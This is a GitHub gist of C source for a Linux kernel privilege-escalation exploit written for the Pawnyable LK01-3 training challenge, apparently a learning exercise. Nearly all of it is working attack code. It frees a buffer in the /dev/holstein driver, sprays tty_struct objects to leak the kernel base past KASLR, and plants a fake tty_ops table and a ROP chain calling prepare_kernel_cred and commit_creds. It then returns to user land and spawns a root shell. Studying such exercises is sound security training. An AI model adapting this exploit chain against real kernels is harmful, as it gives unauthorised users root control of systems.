Skip to content

Instantly share code, notes, and snippets.

@brant-ruan
Created November 28, 2022 13:49
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save brant-ruan/3b3c40d10eba92943b925607824582ab to your computer and use it in GitHub Desktop.
Save brant-ruan/3b3c40d10eba92943b925607824582ab to your computer and use it in GitHub Desktop.
Pawnyable LK01-3 (bypass KASLR, SMEP with SMAP disabled)
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#define SPRAY_NUM 100
#define ofs_tty_ops 0xc39c60
#define mov_esp_0x39000000_ret (kbase + 0x5b5410)
#define prepare_kernel_cred (kbase + 0x72560)
#define commit_creds (kbase + 0x723c0)
#define pop_rdi_ret (kbase + 0x14078a)
#define pop_rcx_ret (kbase + 0x0eb7e4)
#define mov_rdi_rax_rep_movsq_ret (kbase + 0x638e9b)
#define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26)
void fatal(char *msg) {
perror(msg);
exit(-1);
}
void spawn_shell();
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t user_rip = (uint64_t)spawn_shell;
unsigned long kbase;
int spray[SPRAY_NUM];
void spawn_shell() {
puts("[+] returned to user land");
uid_t uid = getuid();
if (uid == 0) {
printf("[+] got root (uid = %d)\n", uid);
} else {
printf("[!] failed to get root (uid: %d)\n", uid);
exit(-1);
}
puts("[*] spawning shell");
system("/bin/sh");
exit(0);
}
void save_userland_state() {
puts("[*] saving user land state");
__asm__(".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax");
}
int main() {
save_userland_state();
puts("[*] UAF-1: open fd1, fd2; close fd1");
int fd1 = open("/dev/holstein", O_RDWR);
int fd2 = open("/dev/holstein", O_RDWR);
close(fd1); // free(g_buf)
printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
for (int i = 0; i < SPRAY_NUM / 2; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
perror("open");
}
printf("[*] leaking kernel base and g_buf with tty_struct\n");
char buf[0x400];
read(fd2, buf, 0x400); // read tty_struct
kbase = *(unsigned long *)&buf[0x18] - ofs_tty_ops;
printf("[+] leaked kernel base address: 0x%lx\n", kbase);
if ((kbase & 0xffffffffffff0000) == 0xffffffffffff0000) {
printf("[-] heap spraying failed\n");
exit(-1);
}
char *userland = mmap((void *)(0x39000000 - 0x4000), 0x8000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
if ((unsigned long *)userland == (unsigned long *)-1)
fatal("mmap");
printf("[+] 0x%lx address mmaped\n", (unsigned long)userland);
// craft rop chain and fake function table
printf("[*] crafting rop chain from 0x39000000\n");
unsigned long *chain = (unsigned long *)0x39000000;
*chain++ = pop_rdi_ret;
*chain++ = 0x0;
*chain++ = prepare_kernel_cred;
*chain++ = pop_rcx_ret;
*chain++ = 0;
*chain++ = mov_rdi_rax_rep_movsq_ret;
*chain++ = commit_creds;
*chain++ = pop_rcx_ret;
*chain++ = 0;
*chain++ = pop_rcx_ret;
*chain++ = 0;
*chain++ = pop_rcx_ret;
*chain++ = mov_esp_0x39000000_ret; // fake ops ioctl
*chain++ = swapgs_restore_regs_and_return_to_usermode;
*chain++ = 0x0;
*chain++ = 0x0;
*chain++ = user_rip;
*chain++ = user_cs;
*chain++ = user_rflags;
*chain++ = user_sp;
*chain++ = user_ss;
puts("[*] UAF-2: open fd3, fd4; close fd3");
int fd3 = open("/dev/holstein", O_RDWR);
int fd4 = open("/dev/holstein", O_RDWR);
close(fd3); // free(g_buf)
printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
perror("open");
}
printf("[*] overwriting tty_struct target-2 with fake tty_ops ptr at 0x39000000\n");
read(fd4, buf, 0x20);
*(unsigned long *)&buf[0x18] = 0x39000000;
write(fd4, buf, 0x20);
printf("[*] invoking ioctl to hijack control flow\n");
// hijack control flow
for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
ioctl(spray[i], 0, 0);
}
getchar();
close(fd2);
close(fd4);
for (int i = 0; i < SPRAY_NUM; i++)
close(spray[i]);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment